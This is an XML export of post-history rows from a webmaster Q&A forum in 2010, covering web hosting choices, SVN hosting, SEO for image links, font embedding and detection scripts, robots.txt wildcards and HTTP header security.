  <row Id="11327" PostHistoryTypeId="2" PostId="5665" RevisionGUID="2ed9b112-a003-4c17-aca2-8288a7316590" CreationDate="2010-11-19T15:41:31.487" UserId="108" Text="Using images even with alt tags as your only way to get to other pages in the site is not really going to provide a great deal of clarity to Google.&#xD;&#xA;&#xD;&#xA;Your best bet is to convince your friend that you need text links somewhere on the page or site in order to solve the problem.  For example if you are able to setup a Sitemap page with all text links or a drop down on each page with all text links that should work.  It won't cause any damage to have that in addition to the link images.&#xD;&#xA;&#xD;&#xA;I would suggest not using hidden links as Google can see this as being nefarious and reduce your site's rank or mark it as spam. " />
  <row Id="11328" PostHistoryTypeId="2" PostId="5666" RevisionGUID="59af3f4f-3fc1-4d83-a5b1-316260a8e705" CreationDate="2010-11-19T16:19:26.050" UserId="3343" Text="You would need to install subversion. It sounds like your might be using shared hosting which so installing and configuring subversion on your own server might not be possible. I would recommend you check out Beanstalk. You push changes to your server, to create a continuous integration setup. Also the basic account is free and doesn't require your project to be open source :)&#xD;&#xA;&#xD;&#xA;http://beanstalkapp.com/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11329" PostHistoryTypeId="2" PostId="5667" RevisionGUID="cbef8ec9-a57d-4e5f-a7fa-faa8684c2c61" CreationDate="2010-11-19T16:19:49.060" UserId="132" Text="Are you on a web host? Some offer Subversion out of the box - &lt;a href=&quot;http://www.dreamhost.com/&quot;&gt;Dreamhost&lt;/a&gt; does, that's how I got started. They make it easy to create and administer SVN repos.&#xD;&#xA;&#xD;&#xA;If you have SSH access, you may be able to install SVN yourself, if permitted by your host.&#xD;&#xA;&#xD;&#xA;Also, I'll suggest that installing and managing SVN yourself is a bit of a hassle. Some companies provide project hosting - &lt;a href=&quot;http://beanstalkapp.com/&quot;&gt;Beanstalk&lt;/a&gt; is one, I use them now for my SVN repos. They make it even easier!" />
  <row Id="11330" PostHistoryTypeId="2" PostId="5668" RevisionGUID="bcca7745-69f0-4506-9d7f-76e3c4f4b466" CreationDate="2010-11-19T16:26:54.457" UserId="13" Text="@marcvangend thank you for the info and links, here is the code I found/edited/came up with:&#xD;&#xA;&#xD;&#xA;    function toscheckbox_form_user_login_alter(&amp;$form, &amp;$form_state) {&#xD;&#xA;      // Add a checkbox to login form about agreeing to terms of service.&#xD;&#xA;      $form['terms_of_service'] = array(&#xD;&#xA;        '#type' =&gt; 'checkbox', &#xD;&#xA;        '#title' =&gt; &quot;I agree with the website's terms of service.&quot;, &#xD;&#xA;        '#required' =&gt; TRUE&#xD;&#xA;      );&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function toscheckbox_form_user_login_block_alter(&amp;$form, &amp;$form_state) {&#xD;&#xA;      // Add a checkbox to login form about agreeing to terms of service.&#xD;&#xA;      $form['terms_of_service'] = array(&#xD;&#xA;        '#type' =&gt; 'checkbox', &#xD;&#xA;        '#title' =&gt; &quot;I agree with the website's terms of service.&quot;, &#xD;&#xA;        '#required' =&gt; TRUE&#xD;&#xA;      );&#xD;&#xA;    }" />
  <row Id="11331" PostHistoryTypeId="2" PostId="5669" RevisionGUID="04b31da8-70e1-4efb-a0c2-33bd40976532" CreationDate="2010-11-19T16:32:44.833" UserId="2707" Text="I would say a major factor for me in paying for hosting is that I am a freelancer and use my hosting for hosting my clients sites. With free web hosting, this would be a bad idea, as the sites would be slow, I'd be limited in how many databases I could have, and no customer support. Also, free web hosts are allowed to go paid at anytime. If they do this and you don't notice it, your site could be lost forever with no hope of ever recovering it.&#xD;&#xA;&#xD;&#xA;Also, many hosts offer coupons for the first year or so that make it really affordable (Sometimes under $50) and give you a free domain. Do some research on finding a decent paid host that gives you:&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Unlimited traffic&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Unlimited domains&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Unlimited storage and MySQL databases&lt;/li&gt;&#xD;&#xA;&lt;li&gt;One click installs of popular software&lt;/li&gt;&#xD;&#xA;&lt;li&gt;SSH/SFTP access&lt;/li&gt;&#xD;&#xA;&lt;li&gt;A decent control panel (cPanel or something custom)&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;Word to the wise: I'd avoid GoDaddy for anything hosting related. In my personal experience, they are overpriced and have a bad control panel." />
  <row Id="11332" PostHistoryTypeId="2" PostId="5670" RevisionGUID="49ffd0b4-1975-4cf1-bf3a-c9672054ae71" CreationDate="2010-11-19T16:36:23.643" UserId="2707" Text="I agree with Piers on Dreamhost. Their shared hosting gives you features you wouldn't get elsewhere (SSH access, mod_pagespeed, MySQL domains, etc). And if you find the right coupon code, you end up paying less then 50 bucks a year.&#xD;&#xA;&#xD;&#xA;Moving forward, look for a host that offers both shared hosting and VPS/dedicated hosting if you use it for work. You never know when you might need to use a better machine to run your site." />
  <row Id="11333" PostHistoryTypeId="5" PostId="5617" RevisionGUID="42a4e2ba-1fc1-4df8-8d38-4c151dab64c8" CreationDate="2010-11-19T16:55:47.590" UserId="3265" Comment="Additional comment and link to designer's website" Text="I have a brilliant designer friend with great design skills and a portfolio you can look over. He does HTML/CSS and Wordpress themes usually but I would be able to convert his design into a modern Drupal theme for you. &#xD;&#xA;&#xD;&#xA;Contact me at authentictech (at) gmail com if you like and I can give you more details. We're both based in the UK and work conscientiously and professionally.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Edit: I am answering the original poster's question directly with a relevant answer recommending a third party (what else am I supposed to do?) so no need to downvote for your own personal reasons for disliking my response, you can just leave it as it is and not upvote it. Thank you.&#xD;&#xA;&#xD;&#xA;Mike, I didn't post a link originally because I wanted to ask my friend's permission to do so and ask whether he was available. If you want to see some of his portfolio on-line you can see it at http://www.designbyspirit.com. &#xD;&#xA;&#xD;&#xA;I'd rather recommend someone I know and admire personally rather than some random website or people I don't know really anything about in terms of honesty and integrity. I don't get any financial benefit from recommending him, I just admire his skills and his work ethic. If you like his designs you could easily find someone in the Drupal community to do a theme conversion from an original design but if you do want my help I can be flexible on cost.&#xD;&#xA;&#xD;&#xA;Hope you find something either way. Drupal is a cool system and there are a lot of good people in the community who can surely help you out.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Mark" />
  <row Id="11334" PostHistoryTypeId="2" PostId="5671" RevisionGUID="4f8bda4c-be08-47b3-82d4-0e615b98a86a" CreationDate="2010-11-19T17:30:22.630" UserId="3345" Text="I like godaddy.com&#xD;&#xA;&#xD;&#xA;- Straight forward pricing&#xD;&#xA;- online tools to manage all your site needs&#xD;&#xA;- great support, just call, they help" />
  <row Id="11335" PostHistoryTypeId="2" PostId="5672" RevisionGUID="01db1f68-657e-437e-808c-903ad1ef4326" CreationDate="2010-11-19T17:36:15.043" UserId="3345" Text="I've looked at what I consider the big three (I could be wrong about that)&#xD;&#xA;&#xD;&#xA;- Microsoft Cloud Azure&#xD;&#xA;- Amazon Simple Web Services&#xD;&#xA;- Godaddy Virtual Server Space&#xD;&#xA;&#xD;&#xA;I'm not a server expert, I like hosting a site on godaddy because I don't have to think about the hosting part but I want to manage multiple sites without having to buy a hosting account each time." />
  <row Id="11336" PostHistoryTypeId="1" PostId="5672" RevisionGUID="01db1f68-657e-437e-808c-903ad1ef4326" CreationDate="2010-11-19T17:36:15.043" UserId="3345" Text="Cloud Hosting Options, what are the differences?" />
  <row Id="11337" PostHistoryTypeId="3" PostId="5672" RevisionGUID="01db1f68-657e-437e-808c-903ad1ef4326" CreationDate="2010-11-19T17:36:15.043" UserId="3345" Text="&lt;cloud-hosting&gt;" />
  <row Id="11338" PostHistoryTypeId="2" PostId="5673" RevisionGUID="dbfaaf9e-1f98-4b5c-9696-a17ab183fe5e" CreationDate="2010-11-19T18:11:20.520" UserId="1064" Text="&gt; What are the Important fields in HTTP&#xD;&#xA;&gt; header from security perspective?&#xD;&#xA;&#xD;&#xA;When it comes to security, the safest response is to consider *everything* while placing priority on the things which attackers are known to exploit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The headers which your server returns on a request are important to attackers ([particularly][1] fields which expose the software/version information about your webserver or otherwise allow the attacker to profile the server). (... and +1 for John Conde's mod_header directives on this point - definitely doesn't hurt to tell client browsers to enforce CSRF/XSS policies)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The headers which your webserver and application accept with a request (i.e. anything that your webserver or application has to parse) are important to you because (a) your webserver will probably make an effort to parse all of them - which may provide the attacker a means for executing a [buffer overflow][2] or [slowloris][3] attack - and (b) your application needs to sanitize and/or validate (as in the case of a cookie which may have been modified) anything used as an input.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.evolt.org/node/60160&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Buffer_overflow&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Slowloris" />
  <row Id="11339" PostHistoryTypeId="2" PostId="5674" RevisionGUID="a10c374c-bdaf-4c26-8526-bf8bcc811b28" CreationDate="2010-11-19T18:22:09.087" UserId="1757" Text="I believe Godaddy's **Virtual Server Space** is a VPS service, not a cloud computing platform. I also don't think Amazon offers such a thing as &quot;Simple Web Services&quot;. They do offer **Amazon Web Services**, which is a whole host of cloud services, including **Amazon S3** (Simple Storage Service) and **Amazon SQS** (Simple Queue Service) and **Amazon SNS** (Simple Notification Service), but you're probably looking for **Amazon EC2** (Elastic Compute Cloud). And **Google App Engine** is another popular cloud service, which is far more widely used than Godaddy's Virtual Server Space.&#xD;&#xA;&#xD;&#xA;The differences are mainly going to be pricing, architecture, and how the service is managed and integrated. Google App Engine is Java- and Python-based. So if you use PHP, then you won't be able to use App Engine. Azure is Windows-based, however it uses FastCGI so it can use almost any programming language. Amazon EC2 is much more like a VPS service in that you're managing individual virtualized servers. So you can pick what OS and software to load onto it. Also, because of this, EC2 applications will be much more portable than applications that have been designed specifically for App Engine or Azure.&#xD;&#xA;&#xD;&#xA;Additionally, each cloud platform has their own unique feature set. AWS offers a few cloud storage options separate from EC2. Google App Engine comes with DataStore, which is based on BigTable, and Azure comes with its own set of storage services. Naturally, AWS services are easier to integrate with one another. Likewise, App Engine (for Business) can be closely integrated with Google Apps.&#xD;&#xA;&#xD;&#xA;Lastly, you should know that pretty much all web hosts allow you to manage multiple sites on a single account. DreamHost, for instance, lets you manage an unlimited number of domains and subdomains on even their most basic hosting plan. So that's not a unique feature of Godaddy. You don't need to &quot;think about&quot; hosting with any decent web host. Though with better web hosts you do have a lot more control and freedom over customization than you get with Godaddy." />
  <row Id="11340" PostHistoryTypeId="2" PostId="5675" RevisionGUID="7fab16ac-9510-4536-ab9c-df091b2350e0" CreationDate="2010-11-19T18:33:52.153" UserId="1064" Text="[sFIR][1] *might* work for this purpose, but using it will be resource-intensive on the client side and it may get tricky if you need to embed links in the text.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.novemberborn.net/sifr/" />
  <row Id="11341" PostHistoryTypeId="2" PostId="5676" RevisionGUID="56a82566-23d3-482d-81eb-260036806bcc" CreationDate="2010-11-19T18:38:27.857" UserId="2293" Text="Unless she is selling her own fonts on this website, I think you both could work more on CSS embedding (yeah, I read this is not an option for you now, but I insist).&#xD;&#xA;&#xD;&#xA;If the case is a heavier graphic work upon fonts (gradient colors, twisted alignment, glossing, embossing, engraving...), making it really impossible to render thorugh CSS options as she needs, then I would recommend doing the following:&#xD;&#xA;&#xD;&#xA;use images through CSS (perhaps a sprite), and hide the anchor text with text-ident.&#xD;&#xA;html&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;work1.html&quot; title=&quot;My first work&quot; id=&quot;firstWork&quot;&gt;My first work&lt;/a&gt;&#xD;&#xA;css&#xD;&#xA;&#xD;&#xA;    #firstWork {display: block; width: 200px; height: 150px; background-image:url('img/firstwork.jpg'); text-ident: -999em;}&#xD;&#xA;&#xD;&#xA;This is one technique. Yeah, I know, Google can punish that, but you know, I never heard about one single site penalized by using this.&#xD;&#xA;&#xD;&#xA;Another way would be using img tag inside anchor tag ALONG with text, and then using CSS to hide text and correct positioning img if needed. This last option gives your the possibility to add alt, title, longdesc to image, increasing the information quantity and quality being indexed.&#xD;&#xA;&#xD;&#xA;You can even go further with this last option and go for a even better and fresh solution: using figure tag, available for HTML5, along with figcaption. The idea is keep anchor-&gt;figure-&gt;img+figcaption.&#xD;&#xA;&#xD;&#xA;Figcaption would make the anchor text role and you can use CSS to hide it.&#xD;&#xA;&#xD;&#xA;Well, 3 solutions. Pick one. I'd go with the last." />
  <row Id="11342" PostHistoryTypeId="2" PostId="5677" RevisionGUID="55eea3b8-ec55-493d-93e5-2c6ba49b927e" CreationDate="2010-11-19T19:26:16.117" UserId="110" Text="I am using WinHost.com and they are good for me." />
  <row Id="11343" PostHistoryTypeId="2" PostId="5678" RevisionGUID="7617e48f-951d-4ea6-a289-996b7a0d9ce9" CreationDate="2010-11-19T19:27:51.220" UserId="3" Text="You also want to make sure important cookie headers are sent with the `HttpOnly` option.&#xD;&#xA;&#xD;&#xA;http://www.owasp.org/index.php/HttpOnly&#xD;&#xA;&#xD;&#xA;There are ways to force this externally using [ModSecurity][1], apparently, and of course you can (and should) set it from within application code that sets cookies.&#xD;&#xA;&#xD;&#xA;[1]: http://www.modsecurity.org/" />
  <row Id="11344" PostHistoryTypeId="2" PostId="5679" RevisionGUID="de4a6690-361f-4dc5-ba72-ea34647ca041" CreationDate="2010-11-19T19:31:05.257" UserId="745" Text="As others have suggested, you don't have to go with the standard &quot;web-safe&quot; fonts. There are many font replacement techniques available now that will work in a cross-browser manner. For a good overview, check out: [The Web Designer’s Guide to Font Replacement Methods][1]. You don't have to give up on SEO or resort to image SEO. You can have your cake and eat it too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webdesign.tutsplus.com/articles/typography-articles/a-web-designers-guide-to-font-replacement-methods/" />
  <row Id="11345" PostHistoryTypeId="2" PostId="5680" RevisionGUID="048c4dcd-6b3a-4c2a-a2ed-ec4a746f6f47" CreationDate="2010-11-19T19:36:59.030" UserId="745" Text="The way font-family works is that it will check the system for the first font on the list. If it is present, it will use that. If not, it will proceed to the next. So if you have the first font installed, it will be using that font. This is often called a font stack because you start at the top and work your way down if needed." />
  <row Id="11346" PostHistoryTypeId="2" PostId="5681" RevisionGUID="07d7919a-bab0-4eff-97f0-d8ec5ed33893" CreationDate="2010-11-19T19:41:16.043" UserId="1064" Text="Here's a little HTML document I wrote which uses jQuery to *generate* a font-guessing script for use on your site:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Font Guesser&lt;/title&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    /*&#xD;&#xA;      If you encounter two fonts which have the same results&#xD;&#xA;      try changing the fontTestString value&#xD;&#xA;    ...&#xD;&#xA;      NOTE: Ensure that there are no CSS directives which&#xD;&#xA;      affect generic SPAN tags on your final site which are&#xD;&#xA;      note also applied to this font guesser script generator&#xD;&#xA;    */&#xD;&#xA;    var fontTestString = 'AABCCDEEFGGHIIJmmmmwwww';&#xD;&#xA;    function fontFamiliesTest( valString ) {&#xD;&#xA;      if ( ! valString ) {&#xD;&#xA;        alert( 'Please enter a font-family declaration' );&#xD;&#xA;        return false;&#xD;&#xA;      } else {&#xD;&#xA;        var fontFamilies = new Array();&#xD;&#xA;        fontFamilies = valString.split(',');&#xD;&#xA;        for ( var i = 0; i &lt; fontFamilies.length; i++ ) {&#xD;&#xA;          $('#results').append( '&lt;h2&gt;' + fontFamilies[i] + '&lt;/h2&gt;&lt;span class=&quot;baseLine&quot; style=&quot;font-family:' + fontFamilies[i] + ';&quot;&gt;' + fontTestString + '&lt;/span&gt;');&#xD;&#xA;        }&#xD;&#xA;        $('#yourJavascript').append('&lt;h2&gt;Your jQuery font test script:&lt;/h2&gt;&lt;form&gt;&lt;textarea id=&quot;jQ&quot; style=&quot;width:100%;height:500px;&quot;&gt;&lt;/textarea&gt;&lt;/form&gt;');&#xD;&#xA;        $('#jQ').append('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;' );&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;' );&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '  var usedFont = &quot;&quot;;' );&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '  $(document).ready( function() {');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '    $(\'body\').append(\'&amp;lt;div id=&quot;testFontWrapper&quot; style=&quot;position:absolute;bottom:0;height:1px;width:1px;&quot;&amp;gt;\');');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '    $(\'body\').append(\'&amp;lt;span id=&quot;testFont&quot; style=&quot;display:inline;font-size:100px;&quot;&amp;gt;' + fontTestString + '&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;\');');&#xD;&#xA;        $('.baseLine').each(function() {&#xD;&#xA;          $('#jQ').append(&quot;\r\n&quot; + '    if ( $(\'#testFont\').width() == ' + $(this).width() + ' ) usedFont = &quot;' + $(this).css('font-family') + '&quot;;');&#xD;&#xA;        });&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '    alert(\'Used font appears to be:\' + usedFont );');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '  });');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '&amp;lt;/script&amp;gt;' );&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    $(document).ready( function() {&#xD;&#xA;      $('#testForm').click(function() {&#xD;&#xA;        fontFamiliesTest( $('#fontFamily').val() );&#xD;&#xA;      });&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    .baseLine {&#xD;&#xA;      font-size:100px !important;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;    &lt;h1&gt;Javascript Required&lt;/h1&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;    &lt;p&gt;Please enter the font-family declaration you would like to test fonts against:&lt;/p&gt;&#xD;&#xA;    &lt;form&gt;&#xD;&#xA;      &lt;input type=&quot;text&quot; name=&quot;fontFamily&quot; id=&quot;fontFamily&quot; value=&quot;'Comic Sans',Arial,monospace&quot; /&gt;&#xD;&#xA;      &lt;input type=&quot;button&quot; id=&quot;testForm&quot; value=&quot;Go &amp;raquo;&quot; /&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;    &lt;div id=&quot;results&quot;&gt;&amp;nbsp;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;yourJavascript&quot;&gt; &amp;nbsp; &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;The script uses the width characteristic of the `fontTestString` for each font at 100px height to determine which font is in use on the site." />
  <row Id="11347" PostHistoryTypeId="2" PostId="5682" RevisionGUID="7cd85e8a-4d2f-413a-938b-cd6b7d8056f7" CreationDate="2010-11-19T19:41:33.480" UserId="1429" Text="Installing your own SVN server will be just a pain. At the end of the day **you are programmer who wants to develop code and NOT waste time playing with installations of SVN repository on some local/remote/shared server.**&#xD;&#xA;&#xD;&#xA;You can find many online solutions that offers preinstalled and ready to use SVN repository. Some are **very cheap**, and **many of them provides a free acoount** for personal use without forcing you to make your project open source.&#xD;&#xA;&#xD;&#xA;Some suggestions:&#xD;&#xA;&#xD;&#xA;- http://beanstalkapp.com/pricing&#xD;&#xA;- http://unfuddle.com/about/tour/plans&#xD;&#xA;- http://bitbucket.org/plans&#xD;&#xA;&#xD;&#xA;Beside prices and your considerations, you can find many CODERs' suggestions at:&#xD;&#xA;&#xD;&#xA;- http://stackoverflow.com/questions/69384/opinion-of-hosted-svn-providers&#xD;&#xA;- http://stackoverflow.com/questions/1999/could-you-recommend-a-good-free-project-hosting-website&#xD;&#xA;- http://stackoverflow.com/questions/35465/easysimple-online-source-control" />
  <row Id="11348" PostHistoryTypeId="2" PostId="5683" RevisionGUID="c55fc3cf-e4e0-4e39-ae37-c33866e2881f" CreationDate="2010-11-19T20:02:39.190" UserId="2294" Text="so if I disallow tempPage, does it mean tempPage_1, temp_Page_2, tempPage_x are also disallowed? I tried to google this up, but I don't know... " />
  <row Id="11349" PostHistoryTypeId="1" PostId="5683" RevisionGUID="c55fc3cf-e4e0-4e39-ae37-c33866e2881f" CreationDate="2010-11-19T20:02:39.190" UserId="2294" Text="robots.txt - just a guess about wild-card" />
  <row Id="11350" PostHistoryTypeId="3" PostId="5683" RevisionGUID="c55fc3cf-e4e0-4e39-ae37-c33866e2881f" CreationDate="2010-11-19T20:02:39.190" UserId="2294" Text="&lt;robots.txt&gt;" />
  <row Id="11351" PostHistoryTypeId="5" PostId="5681" RevisionGUID="a02333f6-215c-41c3-b01e-7f87adbd9586" CreationDate="2010-11-19T20:04:02.653" UserId="1064" Comment="Corrected spelling error in script, added a &quot;clear&quot; for script-generated fields" Text="Here's a little HTML document I wrote which uses jQuery to *generate* a font-guessing script for use on your site:&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Font Guesser&lt;/title&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    /*&#xD;&#xA;      If you encounter two fonts which have the same results&#xD;&#xA;      try changing the fontTestString value&#xD;&#xA;    ...&#xD;&#xA;      NOTE: Ensure that there are no CSS directives which&#xD;&#xA;      affect generic SPAN tags on your final site which are&#xD;&#xA;      not also applied to this font guesser script generator&#xD;&#xA;    */&#xD;&#xA;    var fontTestString = 'AABCCDEEFGGHIIJmmmmwwww';&#xD;&#xA;    function fontFamiliesTest( valString ) {&#xD;&#xA;      $('#results').html( '&amp;nbsp;' );&#xD;&#xA;      $('#yourJavascript').html( '&amp;nbsp;' );&#xD;&#xA;      if ( ! valString ) {&#xD;&#xA;        alert( 'Please enter a font-family declaration' );&#xD;&#xA;        return false;&#xD;&#xA;      } else {&#xD;&#xA;        var fontFamilies = new Array();&#xD;&#xA;        fontFamilies = valString.split(',');&#xD;&#xA;        for ( var i = 0; i &lt; fontFamilies.length; i++ ) {&#xD;&#xA;          $('#results').append( '&lt;h2&gt;' + fontFamilies[i] + '&lt;/h2&gt;&lt;span class=&quot;baseLine&quot; style=&quot;font-family:' + fontFamilies[i] + ';&quot;&gt;' + fontTestString + '&lt;/span&gt;');&#xD;&#xA;        }&#xD;&#xA;        $('#yourJavascript').append('&lt;h2&gt;Your jQuery font test script:&lt;/h2&gt;&lt;form&gt;&lt;textarea id=&quot;jQ&quot; style=&quot;width:100%;height:500px;&quot;&gt;&lt;/textarea&gt;&lt;/form&gt;');&#xD;&#xA;        $('#jQ').append('&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;' );&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;' );&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '  var usedFont = &quot;&quot;;' );&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '  $(document).ready( function() {');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '    $(\'body\').append(\'&amp;lt;div id=&quot;testFontWrapper&quot; style=&quot;position:absolute;bottom:0;height:1px;width:1px;&quot;&amp;gt;\');');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '    $(\'body\').append(\'&amp;lt;span id=&quot;testFont&quot; style=&quot;display:inline;font-size:100px;&quot;&amp;gt;' + fontTestString + '&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;\');');&#xD;&#xA;        $('.baseLine').each(function() {&#xD;&#xA;          $('#jQ').append(&quot;\r\n&quot; + '    if ( $(\'#testFont\').width() == ' + $(this).width() + ' ) usedFont = &quot;' + $(this).css('font-family') + '&quot;;');&#xD;&#xA;        });&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '    alert(\'Used font appears to be:\' + usedFont );');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '  });');&#xD;&#xA;        $('#jQ').append(&quot;\r\n&quot; + '&amp;lt;/script&amp;gt;' );&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    $(document).ready( function() {&#xD;&#xA;      $('#testForm').click(function() {&#xD;&#xA;        fontFamiliesTest( $('#fontFamily').val() );&#xD;&#xA;      });&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    .baseLine {&#xD;&#xA;      font-size:100px !important;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;noscript&gt;&#xD;&#xA;    &lt;h1&gt;Javascript Required&lt;/h1&gt;&#xD;&#xA;    &lt;/noscript&gt;&#xD;&#xA;    &lt;p&gt;Please enter the font-family declaration you would like to test fonts against:&lt;/p&gt;&#xD;&#xA;    &lt;form&gt;&#xD;&#xA;      &lt;input type=&quot;text&quot; name=&quot;fontFamily&quot; id=&quot;fontFamily&quot; value=&quot;'Comic Sans',Arial,monospace&quot; /&gt;&#xD;&#xA;      &lt;input type=&quot;button&quot; id=&quot;testForm&quot; value=&quot;Go &amp;raquo;&quot; /&gt;&#xD;&#xA;    &lt;/form&gt;&#xD;&#xA;    &lt;div id=&quot;results&quot;&gt;&amp;nbsp;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;yourJavascript&quot;&gt;&amp;nbsp;&lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;The script uses the width characteristic of the `fontTestString` for each font at 100px height to determine which font is in use on the site." />
  <row Id="11352" PostHistoryTypeId="2" PostId="5684" RevisionGUID="87a67156-1f58-4fe6-b475-ee72a29dfc19" CreationDate="2010-11-19T20:06:10.247" UserId="1253" Text="1) If tempPage_1, temp_Page_2, tempPage_x are subdirectories of tempPage then, **yes**, they are blocked.&#xD;&#xA;&#xD;&#xA;2) If they are parallel directories then, **no**, they are not blocked.&#xD;&#xA;&#xD;&#xA;3) If they are separate files then, **no**, they are not blocked.&#xD;&#xA;&#xD;&#xA;Assuming #1 is not true, to block them all you would use:&#xD;&#xA;&#xD;&#xA;    disallow tempPage*" />
  <row Id="11353" PostHistoryTypeId="2" PostId="5685" RevisionGUID="5ce8875e-ec11-440c-bbac-31f85707b61c" CreationDate="2010-11-19T22:17:32.083" UserId="2783" Text="I´m looking for an alternative to LiveStream, I mean, a free live streaming solution for video broadcasting and then embedding the player in my website.  &#xD;&#xA;&#xD;&#xA; - Bandwith limitations is OK.  &#xD;&#xA; - Concurrent users limitation is OK. &#xD;&#xA; - 24/7 transmition capabilities.&#xD;&#xA;&#xD;&#xA;[**Note**: no 'stream' or 'streaming' tag available, please re-tag]" />
  <row Id="11354" PostHistoryTypeId="1" PostId="5685" RevisionGUID="5ce8875e-ec11-440c-bbac-31f85707b61c" CreationDate="2010-11-19T22:17:32.083" UserId="2783" Text="Is there an alternative to LiveStream?" />
  <row Id="11355" PostHistoryTypeId="3" PostId="5685" RevisionGUID="5ce8875e-ec11-440c-bbac-31f85707b61c" CreationDate="2010-11-19T22:17:32.083" UserId="2783" Text="&lt;web-development&gt;" />
  <row Id="11356" PostHistoryTypeId="6" PostId="5685" RevisionGUID="4759654e-02ce-478b-a3fa-dc56c35966d7" CreationDate="2010-11-19T22:49:08.027" UserId="1064" Comment="Added &quot;streaming&quot; tag" Text="&lt;web-development&gt;&lt;streaming&gt;" />
  <row Id="11357" PostHistoryTypeId="2" PostId="5686" RevisionGUID="73062b1a-8ea0-47a4-bcd5-474b08058678" CreationDate="2010-11-19T23:23:57.903" UserId="3355" Text="EMBED THE FONTS!&#xD;&#xA;&#xD;&#xA;No, but really, Embeddable fonts work on all current browsers (FF, Chrome, Safari, Opera) and IE5.5+ (yes, it's been working in IE since the 90s.)&#xD;&#xA;&#xD;&#xA;Get your TTF upload it here:&#xD;&#xA;http://www.kirsle.net/wizards/ttf2eot.cgi&#xD;&#xA;&#xD;&#xA;It'll give you the code and 2 files back (a TTF and then an EOT[M$ web font]) back. Copy, paste, upload, done. Win win!&#xD;&#xA;&#xD;&#xA;And please, please, don't use images :)&#xD;&#xA;&#xD;&#xA;If you DO however, write your markup as if you AREN'T using images and then add background images to all the elements and use text-indent:-9999px to hide the text. But please, just use embeddable fonts. Plus, if you're client/friend is a photographer she probably (shouldnt be) using an ancient browser (i mean, REALLY ancient, like, IE4...)" />
